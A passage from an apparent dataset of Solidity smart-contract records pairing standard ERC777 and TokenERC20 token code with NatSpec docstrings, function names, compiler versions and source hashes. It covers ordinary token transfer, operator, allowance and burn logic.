require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | _callTokensToSend | function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
| /**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
13984,
14477
]
} | 59,951 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | _callTokensReceived | function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
| /**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
15174,
15872
]
} | 59,952 |
TokenERC20 | TokenERC20.sol | 0x5684e0bb4798fe5bbe6e0a26254567863fba223b | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | _transfer | function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
| /**
* Internal transfer, only can be called by this contract
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://1a1aceaf2eea1ae268618c36cf9ced606eac1e6a6bf796356d6c2c9fe11ab064 | {
"func_code_index": [
1605,
2452
]
} | 59,953 |
|||
TokenERC20 | TokenERC20.sol | 0x5684e0bb4798fe5bbe6e0a26254567863fba223b | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | transfer | function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
| /**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://1a1aceaf2eea1ae268618c36cf9ced606eac1e6a6bf796356d6c2c9fe11ab064 | {
"func_code_index": [
2652,
2809
]
